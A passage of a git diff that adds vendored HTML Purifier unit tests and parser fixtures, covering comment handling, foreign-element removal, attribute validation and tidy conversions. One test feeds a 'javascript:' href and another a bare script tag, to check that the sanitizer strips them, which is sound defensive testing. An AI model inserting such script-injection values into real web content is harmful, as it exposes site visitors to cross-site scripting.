+ $def = $this->config->getHTMLDefinition(true);
+ $def->addElement('f', 'Block', 'Optional: #PCDATA', false, array('req*' => 'Text'));
+ $this->assertResult('<f req="text">Foo</f> Bar');
+ }
+
+ public function testPreserveCommentsWithHTMLTrusted()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->assertResult('<!-- foo -->');
+ }
+
+ public function testRemoveTrailingHyphensInComment()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->assertResult('<!-- foo ----->', '<!-- foo -->');
+ }
+
+ public function testCollapseDoubleHyphensInComment()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->assertResult('<!-- bo --- asdf--as -->', '<!-- bo - asdf-as -->');
+ }
+
+ public function testPreserveCommentsWithLookup()
+ {
+ $this->config->set('HTML.AllowedComments', array('allowed'));
+ $this->assertResult('<!-- allowed --><!-- not allowed -->', '<!-- allowed -->');
+ }
+
+ public function testPreserveCommentsWithRegexp()
+ {
+ $this->config->set('HTML.AllowedCommentsRegexp', '/^allowed[1-9]$/');
+ $this->assertResult('<!-- allowed1 --><!-- not allowed -->', '<!-- allowed1 -->');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php
new file mode 100644
index 000000000..fcc7c7c88
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php
@@ -0,0 +1,81 @@
+<?php
+
+class HTMLPurifier_Strategy_RemoveForeignElements_ErrorsTest extends HTMLPurifier_Strategy_ErrorsHarness
+{
+
+ public function setup()
+ {
+ parent::setup();
+ $this->config->set('HTML.TidyLevel', 'heavy');
+ }
+
+ protected function getStrategy()
+ {
+ return new HTMLPurifier_Strategy_RemoveForeignElements();
+ }
+
+ public function testTagTransform()
+ {
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', 'center');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array('style' => 'text-align:center;'), 1));
+ $this->invoke('<center>');
+ }
+
+ public function testMissingRequiredAttr()
+ {
+ // a little fragile, since img has two required attributes
+ $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', 'alt');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Empty('img', array(), 1));
+ $this->invoke('<img />');
+ }
+
+ public function testForeignElementToText()
+ {
+ $this->config->set('Core.EscapeInvalidTags', true);
+ $this->expectErrorCollection(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1));
+ $this->invoke('<invalid>');
+ }
+
+ public function testForeignElementRemoved()
+ {
+ // uses $CurrentToken.Serialized
+ $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1));
+ $this->invoke('<invalid>');
+ }
+
+ public function testCommentRemoved()
+ {
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1));
+ $this->invoke('<!-- test -->');
+ }
+
+ public function testTrailingHyphenInCommentRemoved()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1));
+ $this->invoke('<!-- test ---->');
+ }
+
+ public function testDoubleHyphenInCommentRemoved()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed');
+ $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test - test - test ', 1));
+ $this->invoke('<!-- test --- test -- test -->');
+ }
+
+ public function testForeignMetaElementRemoved()
+ {
+ $this->collector->expectAt(0, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed'));
+ $this->collector->expectContextAt(0, 'CurrentToken', new HTMLPurifier_Token_Start('script', array(), 1));
+ $this->collector->expectAt(1, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', 'script'));
+ $this->invoke('<script>asdf');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php
new file mode 100644
index 000000000..3f55665d8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php
@@ -0,0 +1,50 @@
+<?php
+
+class HTMLPurifier_Strategy_RemoveForeignElements_TidyTest
+ extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_RemoveForeignElements();
+ $this->config->set('HTML.TidyLevel', 'heavy');
+ }
+
+ public function testCenterTransform()
+ {
+ $this->assertResult(
+ '<center>Look I am Centered!</center>',
+ '<div style="text-align:center;">Look I am Centered!</div>'
+ );
+ }
+
+ public function testFontTransform()
+ {
+ $this->assertResult(
+ '<font color="red" face="Arial" size="6">Big Warning!</font>',
+ '<span style="color:red;font-family:Arial;font-size:xx-large;">Big'.
+ ' Warning!</span>'
+ );
+ }
+
+ public function testTransformToForbiddenElement()
+ {
+ $this->config->set('HTML.Allowed', 'div');
+ $this->assertResult(
+ '<font color="red" face="Arial" size="6">Big Warning!</font>',
+ 'Big Warning!'
+ );
+ }
+
+ public function testMenuTransform()
+ {
+ $this->assertResult(
+ '<menu><li>Item 1</li></menu>',
+ '<ul><li>Item 1</li></ul>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php
new file mode 100644
index 000000000..2bf717937
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php
@@ -0,0 +1,263 @@
+<?php
+
+class HTMLPurifier_Strategy_ValidateAttributesTest extends
+ HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_ValidateAttributes();
+ }
+
+ public function testEmptyInput()
+ {
+ $this->assertResult('');
+ }
+
+ public function testRemoveIDByDefault()
+ {
+ $this->assertResult(
+ '<div id="valid">Kill the ID.</div>',
+ '<div>Kill the ID.</div>'
+ );
+ }
+
+ public function testRemoveInvalidDir()
+ {
+ $this->assertResult(
+ '<span dir="up-to-down">Bad dir.</span>',
+ '<span>Bad dir.</span>'
+ );
+ }
+
+ public function testPreserveValidClass()
+ {
+ $this->assertResult('<div class="valid">Valid</div>');
+ }
+
+ public function testSelectivelyRemoveInvalidClasses()
+ {
+ $this->config->set('HTML.Doctype', 'XHTML 1.1');
+ $this->assertResult(
+ '<div class="valid 0invalid">Keep valid.</div>',
+ '<div class="valid">Keep valid.</div>'
+ );
+ }
+
+ public function testPreserveTitle()
+ {
+ $this->assertResult(
+ '<acronym title="PHP: Hypertext Preprocessor">PHP</acronym>'
+ );
+ }
+
+ public function testAddXMLLang()
+ {
+ $this->assertResult(
+ '<span lang="fr">La soupe.</span>',
+ '<span lang="fr" xml:lang="fr">La soupe.</span>'
+ );
+ }
+
+ public function testOnlyXMLLangInXHTML11()
+ {
+ $this->config->set('HTML.Doctype', 'XHTML 1.1');
+ $this->assertResult(
+ '<b lang="en">asdf</b>',
+ '<b xml:lang="en">asdf</b>'
+ );
+ }
+
+ public function testBasicURI()
+ {
+ $this->assertResult('<a href="http://www.google.com/">Google</a>');
+ }
+
+ public function testInvalidURI()
+ {
+ $this->assertResult(
+ '<a href="javascript:badstuff();">Google</a>',
+ '<a>Google</a>'
+ );
+ }
+
+ public function testBdoAddMissingDir()
+ {
+ $this->assertResult(
+ '<bdo>Go left.</bdo>',
+ '<bdo dir="ltr">Go left.</bdo>'
+ );
+ }
+
+ public function testBdoReplaceInvalidDirWithDefault()
+ {
+ $this->assertResult(
+ '<bdo dir="blahblah">Invalid value!</bdo>',
+ '<bdo dir="ltr">Invalid value!</bdo>'
+ );
+ }
+
+ public function testBdoAlternateDefaultDir()
+ {
+ $this->config->set('Attr.DefaultTextDir', 'rtl');
+ $this->assertResult(
+ '<bdo>Go right.</bdo>',
+ '<bdo dir="rtl">Go right.</bdo>'
+ );
+ }
+
+ public function testRemoveDirWhenNotRequired()
+ {
+ $this->assertResult(
+ '<span dir="blahblah">Invalid value!</span>',
+ '<span>Invalid value!</span>'
+ );
+ }
+
+ public function testTableAttributes()
+ {
+ $this->assertResult(
+'<table frame="above" rules="rows" summary="A test table" border="2" cellpadding="5%" cellspacing="3" width="100%">
+ <col align="right" width="4*" />
+ <col charoff="5" align="char" width="*" />
+ <tr valign="top">
+ <th abbr="name">Fiddly name</th>
+ <th abbr="price">Super-duper-price</th>
+ </tr>
+ <tr>
+ <td abbr="carrot">Carrot Humungous</td>
+ <td>$500.23</td>
+ </tr>
+ <tr>
+ <td colspan="2">Taken off the market</td>
+ </tr>
+</table>'
+ );
+ }
+
+ public function testColSpanIsNonZero()
+ {
+ $this->assertResult(
+ '<col span="0" />',
+ '<col />'
+ );
+ }
+
+ public function testImgAddDefaults()
+ {
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult(
+ '<img />',
+ '<img src="" alt="Invalid image" />'
+ );
+ }
+
+ public function testImgGenerateAlt()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" />',
+ '<img src="foobar.jpg" alt="foobar.jpg" />'
+ );
+ }
+
+ public function testImgAddDefaultSrc()
+ {
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult(
+ '<img alt="pretty picture" />',
+ '<img alt="pretty picture" src="" />'
+ );
+ }
+
+ public function testImgRemoveNonRetrievableProtocol()
+ {
+ $this->config->set('Core.RemoveInvalidImg', false);
+ $this->assertResult(
+ '<img src="mailto:foo@example.com" />',
+ '<img alt="mailto:foo@example.com" src="" />'
+ );
+ }
+
+ public function testPreserveRel()
+ {
+ $this->config->set('Attr.AllowedRel', 'nofollow');
+ $this->assertResult('<a href="foo" rel="nofollow" />');
+ }
+
+ public function testPreserveTarget()
+ {
+ $this->config->set('Attr.AllowedFrameTargets', '_top');
+ $this->config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
+ $this->assertResult('<a href="foo" target="_top" />');
+ }
+
+ public function testRemoveTargetWhenNotSupported()
+ {
+ $this->config->set('HTML.Doctype', 'XHTML 1.0 Strict');
+ $this->config->set('Attr.AllowedFrameTargets', '_top');
+ $this->assertResult(
+ '<a href="foo" target="_top" />',
+ '<a href="foo" />'
+ );
+ }
+
+ public function testKeepAbsoluteCSSWidthAndHeightOnImg()
+ {
+ $this->assertResult(
+ '<img src="" alt="" style="width:10px;height:10px;border:1px solid #000;" />'
+ );
+ }
+
+ public function testRemoveLargeCSSWidthAndHeightOnImg()
+ {
+ $this->assertResult(
+ '<img src="" alt="" style="width:10000000px;height:10000000px;border:1px solid #000;" />',
+ '<img src="" alt="" style="border:1px solid #000;" />'
+ );
+ }
+
+ public function testRemoveLargeCSSWidthAndHeightOnImgWithUserConf()
+ {
+ $this->config->set('CSS.MaxImgLength', '1px');
+ $this->assertResult(
+ '<img src="" alt="" style="width:1mm;height:1mm;border:1px solid #000;" />',
+ '<img src="" alt="" style="border:1px solid #000;" />'
+ );
+ }
+
+ public function testKeepLargeCSSWidthAndHeightOnImgWhenToldTo()
+ {
+ $this->config->set('CSS.MaxImgLength', null);
+ $this->assertResult(
+ '<img src="" alt="" style="width:10000000px;height:10000000px;border:1px solid #000;" />'
+ );
+ }
+
+ public function testKeepPercentCSSWidthAndHeightOnImgWhenToldTo()
+ {
+ $this->config->set('CSS.MaxImgLength', null);
+ $this->assertResult(
+ '<img src="" alt="" style="width:100%;height:100%;border:1px solid #000;" />'
+ );
+ }
+
+ public function testRemoveRelativeCSSWidthAndHeightOnImg()
+ {
+ $this->assertResult(
+ '<img src="" alt="" style="width:10em;height:10em;border:1px solid #000;" />',
+ '<img src="" alt="" style="border:1px solid #000;" />'
+ );
+ }
+
+ public function testRemovePercentCSSWidthAndHeightOnImg()
+ {
+ $this->assertResult(
+ '<img src="" alt="" style="width:100%;height:100%;border:1px solid #000;" />',
+ '<img src="" alt="" style="border:1px solid #000;" />'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php
new file mode 100644
index 000000000..a65152ee5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php
@@ -0,0 +1,71 @@
+<?php
+
+class HTMLPurifier_Strategy_ValidateAttributes_IDTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_ValidateAttributes();
+ $this->config->set('Attr.EnableID', true);
+ }
+
+
+ public function testPreserveIDWhenEnabled()
+ {
+ $this->assertResult('<div id="valid">Preserve the ID.</div>');
+ }
+
+ public function testRemoveInvalidID()
+ {
+ $this->assertResult(
+ '<div id="0invalid">Kill the ID.</div>',
+ '<div>Kill the ID.</div>'
+ );
+ }
+
+ public function testRemoveDuplicateID()
+ {
+ $this->assertResult(
+ '<div id="valid">Valid</div><div id="valid">Invalid</div>',
+ '<div id="valid">Valid</div><div>Invalid</div>'
+ );
+ }
+
+ public function testAttributeKeyCaseInsensitivity()
+ {
+ $this->assertResult(
+ '<div ID="valid">Convert ID to lowercase.</div>',
+ '<div id="valid">Convert ID to lowercase.</div>'
+ );
+ }
+
+ public function testTrimWhitespace()
+ {
+ $this->assertResult(
+ '<div id=" valid ">Trim whitespace.</div>',
+ '<div id="valid">Trim whitespace.</div>'
+ );
+ }
+
+ public function testIDBlacklist()
+ {
+ $this->config->set('Attr.IDBlacklist', array('invalid'));
+ $this->assertResult(
+ '<div id="invalid">Invalid</div>',
+ '<div>Invalid</div>'
+ );
+ }
+
+ public function testNameConvertedToID()
+ {
+ $this->config->set('HTML.TidyLevel', 'heavy');
+ $this->assertResult(
+ '<a name="foobar" />',
+ '<a id="foobar" />'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php
new file mode 100644
index 000000000..3830a401e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php
@@ -0,0 +1,400 @@
+<?php
+
+class HTMLPurifier_Strategy_ValidateAttributes_TidyTest extends HTMLPurifier_StrategyHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->obj = new HTMLPurifier_Strategy_ValidateAttributes();
+ $this->config->set('HTML.TidyLevel', 'heavy');
+ }
+
+ public function testConvertCenterAlign()
+ {
+ $this->assertResult(
+ '<h1 align="center">Centered Headline</h1>',
+ '<h1 style="text-align:center;">Centered Headline</h1>'
+ );
+ }
+
+ public function testConvertRightAlign()
+ {
+ $this->assertResult(
+ '<h1 align="right">Right-aligned Headline</h1>',
+ '<h1 style="text-align:right;">Right-aligned Headline</h1>'
+ );
+ }
+
+ public function testConvertLeftAlign()
+ {
+ $this->assertResult(
+ '<h1 align="left">Left-aligned Headline</h1>',
+ '<h1 style="text-align:left;">Left-aligned Headline</h1>'
+ );
+ }
+
+ public function testConvertJustifyAlign()
+ {
+ $this->assertResult(
+ '<p align="justify">Justified Paragraph</p>',
+ '<p style="text-align:justify;">Justified Paragraph</p>'
+ );
+ }
+
+ public function testRemoveInvalidAlign()
+ {
+ $this->assertResult(
+ '<h1 align="invalid">Invalid Headline</h1>',
+ '<h1>Invalid Headline</h1>'
+ );
+ }
+
+ public function testConvertTableLengths()
+ {
+ $this->assertResult(
+ '<td width="5%" height="10" /><th width="10" height="5%" /><hr width="10" height="10" />',
+ '<td style="width:5%;height:10px;" /><th style="width:10px;height:5%;" /><hr style="width:10px;" />'
+ );
+ }
+
+ public function testTdConvertNowrap()
+ {
+ $this->assertResult(
+ '<td nowrap />',
+ '<td style="white-space:nowrap;" />'
+ );
+ }
+
+ public function testCaptionConvertAlignLeft()
+ {
+ $this->assertResult(
+ '<caption align="left" />',
+ '<caption style="text-align:left;" />'
+ );
+ }
+
+ public function testCaptionConvertAlignRight()
+ {
+ $this->assertResult(
+ '<caption align="right" />',
+ '<caption style="text-align:right;" />'
+ );
+ }
+
+ public function testCaptionConvertAlignTop()
+ {
+ $this->assertResult(
+ '<caption align="top" />',
+ '<caption style="caption-side:top;" />'
+ );
+ }
+
+ public function testCaptionConvertAlignBottom()
+ {
+ $this->assertResult(
+ '<caption align="bottom" />',
+ '<caption style="caption-side:bottom;" />'
+ );
+ }
+
+ public function testCaptionRemoveInvalidAlign()
+ {
+ $this->assertResult(
+ '<caption align="nonsense" />',
+ '<caption />'
+ );
+ }
+
+ public function testTableConvertAlignLeft()
+ {
+ $this->assertResult(
+ '<table align="left" />',
+ '<table style="float:left;" />'
+ );
+ }
+
+ public function testTableConvertAlignCenter()
+ {
+ $this->assertResult(
+ '<table align="center" />',
+ '<table style="margin-left:auto;margin-right:auto;" />'
+ );
+ }
+
+ public function testTableConvertAlignRight()
+ {
+ $this->assertResult(
+ '<table align="right" />',
+ '<table style="float:right;" />'
+ );
+ }
+
+ public function testTableRemoveInvalidAlign()
+ {
+ $this->assertResult(
+ '<table align="top" />',
+ '<table />'
+ );
+ }
+
+ public function testImgConvertAlignLeft()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" alt="foobar" align="left" />',
+ '<img src="foobar.jpg" alt="foobar" style="float:left;" />'
+ );
+ }
+
+ public function testImgConvertAlignRight()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" alt="foobar" align="right" />',
+ '<img src="foobar.jpg" alt="foobar" style="float:right;" />'
+ );
+ }
+
+ public function testImgConvertAlignBottom()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" alt="foobar" align="bottom" />',
+ '<img src="foobar.jpg" alt="foobar" style="vertical-align:baseline;" />'
+ );
+ }
+
+ public function testImgConvertAlignMiddle()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" alt="foobar" align="middle" />',
+ '<img src="foobar.jpg" alt="foobar" style="vertical-align:middle;" />'
+ );
+ }
+
+ public function testImgConvertAlignTop()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" alt="foobar" align="top" />',
+ '<img src="foobar.jpg" alt="foobar" style="vertical-align:top;" />'
+ );
+ }
+
+ public function testImgRemoveInvalidAlign()
+ {
+ $this->assertResult(
+ '<img src="foobar.jpg" alt="foobar" align="outerspace" />',
+ '<img src="foobar.jpg" alt="foobar" />'
+ );
+ }
+
+ public function testBorderConvertHVSpace()
+ {
+ $this->assertResult(
+ '<img src="foo" alt="foo" hspace="1" vspace="3" />',
+ '<img src="foo" alt="foo" style="margin-top:3px;margin-bottom:3px;margin-left:1px;margin-right:1px;" />'
+ );
+ }
+
+ public function testHrConvertSize()
+ {
+ $this->assertResult(
+ '<hr size="3" />',
+ '<hr style="height:3px;" />'
+ );
+ }
+
+ public function testHrConvertNoshade()
+ {
+ $this->assertResult(
+ '<hr noshade />',
+ '<hr style="color:#808080;background-color:#808080;border:0;" />'
+ );
+ }
+
+ public function testHrConvertAlignLeft()
+ {
+ $this->assertResult(
+ '<hr align="left" />',
+ '<hr style="margin-left:0;margin-right:auto;text-align:left;" />'
+ );
+ }
+
+ public function testHrConvertAlignCenter()
+ {
+ $this->assertResult(
+ '<hr align="center" />',
+ '<hr style="margin-left:auto;margin-right:auto;text-align:center;" />'
+ );
+ }
+
+ public function testHrConvertAlignRight()
+ {
+ $this->assertResult(
+ '<hr align="right" />',
+ '<hr style="margin-left:auto;margin-right:0;text-align:right;" />'
+ );
+ }
+
+ public function testHrRemoveInvalidAlign()
+ {
+ $this->assertResult(
+ '<hr align="bottom" />',
+ '<hr />'
+ );
+ }
+
+ public function testBrConvertClearLeft()
+ {
+ $this->assertResult(
+ '<br clear="left" />',
+ '<br style="clear:left;" />'
+ );
+ }
+
+ public function testBrConvertClearRight()
+ {
+ $this->assertResult(
+ '<br clear="right" />',
+ '<br style="clear:right;" />'
+ );
+ }
+
+ public function testBrConvertClearAll()
+ {
+ $this->assertResult(
+ '<br clear="all" />',
+ '<br style="clear:both;" />'
+ );
+ }
+
+ public function testBrConvertClearNone()
+ {
+ $this->assertResult(
+ '<br clear="none" />',
+ '<br style="clear:none;" />'
+ );
+ }
+
+ public function testBrRemoveInvalidClear()
+ {
+ $this->assertResult(
+ '<br clear="foo" />',
+ '<br />'
+ );
+ }
+
+ public function testUlConvertTypeDisc()
+ {
+ $this->assertResult(
+ '<ul type="disc" />',
+ '<ul style="list-style-type:disc;" />'
+ );
+ }
+
+ public function testUlConvertTypeSquare()
+ {
+ $this->assertResult(
+ '<ul type="square" />',
+ '<ul style="list-style-type:square;" />'
+ );
+ }
+
+ public function testUlConvertTypeCircle()
+ {
+ $this->assertResult(
+ '<ul type="circle" />',
+ '<ul style="list-style-type:circle;" />'
+ );
+ }
+
+ public function testUlConvertTypeCaseInsensitive()
+ {
+ $this->assertResult(
+ '<ul type="CIRCLE" />',
+ '<ul style="list-style-type:circle;" />'
+ );
+ }
+
+ public function testUlRemoveInvalidType()
+ {
+ $this->assertResult(
+ '<ul type="a" />',
+ '<ul />'
+ );
+ }
+
+ public function testOlConvertType1()
+ {
+ $this->assertResult(
+ '<ol type="1" />',
+ '<ol style="list-style-type:decimal;" />'
+ );
+ }
+
+ public function testOlConvertTypeLowerI()
+ {
+ $this->assertResult(
+ '<ol type="i" />',
+ '<ol style="list-style-type:lower-roman;" />'
+ );
+ }
+
+ public function testOlConvertTypeUpperI()
+ {
+ $this->assertResult(
+ '<ol type="I" />',
+ '<ol style="list-style-type:upper-roman;" />'
+ );
+ }
+
+ public function testOlConvertTypeLowerA()
+ {
+ $this->assertResult(
+ '<ol type="a" />',
+ '<ol style="list-style-type:lower-alpha;" />'
+ );
+ }
+
+ public function testOlConvertTypeUpperA()
+ {
+ $this->assertResult(
+ '<ol type="A" />',
+ '<ol style="list-style-type:upper-alpha;" />'
+ );
+ }
+
+ public function testOlRemoveInvalidType()
+ {
+ $this->assertResult(
+ '<ol type="disc" />',
+ '<ol />'
+ );
+ }
+
+ public function testLiConvertTypeCircle()
+ {
+ $this->assertResult(
+ '<li type="circle" />',
+ '<li style="list-style-type:circle;" />'
+ );
+ }
+
+ public function testLiConvertTypeA()
+ {
+ $this->assertResult(
+ '<li type="A" />',
+ '<li style="list-style-type:upper-alpha;" />'
+ );
+ }
+
+ public function testLiConvertTypeCaseSensitive()
+ {
+ $this->assertResult(
+ '<li type="CIRCLE" />',
+ '<li />'
+ );
+ }
+
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StrategyHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StrategyHarness.php
new file mode 100644
index 000000000..794c04233
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StrategyHarness.php
@@ -0,0 +1,16 @@
+<?php
+
+class HTMLPurifier_StrategyHarness extends HTMLPurifier_ComplexHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->func = 'execute';
+ $this->to_tokens = true;
+ $this->to_html = true;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/AppendMultiline.txt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/AppendMultiline.txt
new file mode 100644
index 000000000..dfc12da3b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/AppendMultiline.txt
@@ -0,0 +1,5 @@
+--KEY--
+Line1
+--KEY--
+Line2
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Default.txt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Default.txt
new file mode 100644
index 000000000..9d2aea80d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Default.txt
@@ -0,0 +1,2 @@
+DefaultValue
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Multi.txt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Multi.txt
new file mode 100644
index 000000000..caea55b1e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Multi.txt
@@ -0,0 +1,19 @@
+Namespace.Directive
+TYPE: string
+CHAIN-ME: 2
+--DESCRIPTION--
+Multiline
+stuff
+--FOR-WHO--
+Single multiline
+----
+
+Namespace.Directive2
+TYPE: integer
+CHAIN-ME: 3
+--DESCRIPTION--
+M
+stuff
+--FOR-WHO--
+Single multiline2
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/OverrideSingle.txt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/OverrideSingle.txt
new file mode 100644
index 000000000..1d27c7148
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/OverrideSingle.txt
@@ -0,0 +1,3 @@
+KEY: Original
+KEY: New
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Simple.txt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Simple.txt
new file mode 100644
index 000000000..e8042d9ed
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Simple.txt
@@ -0,0 +1,10 @@
+Namespace.Directive
+TYPE: string
+CHAIN-ME: 2
+--DESCRIPTION--
+Multiline
+stuff
+--EMPTY--
+--FOR-WHO--
+Single multiline
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParserTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParserTest.php
new file mode 100644
index 000000000..2ccaec22a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParserTest.php
@@ -0,0 +1,97 @@
+<?php
+
+/**
+ * @note Sample input files are located in the StringHashParser/ directory.
+ */
+class HTMLPurifier_StringHashParserTest extends UnitTestCase
+{
+
+ /**
+ * Instance of ConfigSchema_StringHashParser being tested.
+ */
+ protected $parser;
+
+ public function setup()
+ {
+ $this->parser = new HTMLPurifier_StringHashParser();
+ }
+
+ /**
+ * Assert that $file gets parsed into the form of $expect
+ */
+ protected function assertParse($file, $expect)
+ {
+ $result = $this->parser->parseFile(dirname(__FILE__) . '/StringHashParser/' . $file);
+ $this->assertIdentical($result, $expect);
+ }
+
+ public function testSimple()
+ {
+ $this->assertParse('Simple.txt', array(
+ 'ID' => 'Namespace.Directive',
+ 'TYPE' => 'string',
+ 'CHAIN-ME' => '2',
+ 'DESCRIPTION' => "Multiline\nstuff\n",
+ 'EMPTY' => '',
+ 'FOR-WHO' => "Single multiline\n",
+ ));
+ }
+
+ public function testOverrideSingle()
+ {
+ $this->assertParse('OverrideSingle.txt', array(
+ 'KEY' => 'New',
+ ));
+ }
+
+ public function testAppendMultiline()
+ {
+ $this->assertParse('AppendMultiline.txt', array(
+ 'KEY' => "Line1\nLine2\n",
+ ));
+ }
+
+ public function testDefault()
+ {
+ $this->parser->default = 'NEW-ID';
+ $this->assertParse('Default.txt', array(
+ 'NEW-ID' => 'DefaultValue',
+ ));
+ }
+
+ public function testError()
+ {
+ try {
+ $this->parser->parseFile('NoExist.txt');
+ } catch (HTMLPurifier_ConfigSchema_Exception $e) {
+ $this->assertIdentical($e->getMessage(), 'File NoExist.txt does not exist');
+ }
+ }
+
+ public function testParseMultiple()
+ {
+ $result = $this->parser->parseMultiFile(dirname(__FILE__) . '/StringHashParser/Multi.txt');
+ $this->assertIdentical(
+ $result,
+ array(
+ array(
+ 'ID' => 'Namespace.Directive',
+ 'TYPE' => 'string',
+ 'CHAIN-ME' => '2',
+ 'DESCRIPTION' => "Multiline\nstuff\n",
+ 'FOR-WHO' => "Single multiline\n",
+ ),
+ array(
+ 'ID' => 'Namespace.Directive2',
+ 'TYPE' => 'integer',
+ 'CHAIN-ME' => '3',
+ 'DESCRIPTION' => "M\nstuff\n",
+ 'FOR-WHO' => "Single multiline2\n",
+ )
+ )
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashTest.php
new file mode 100644
index 000000000..226d1a414
--- /dev/null
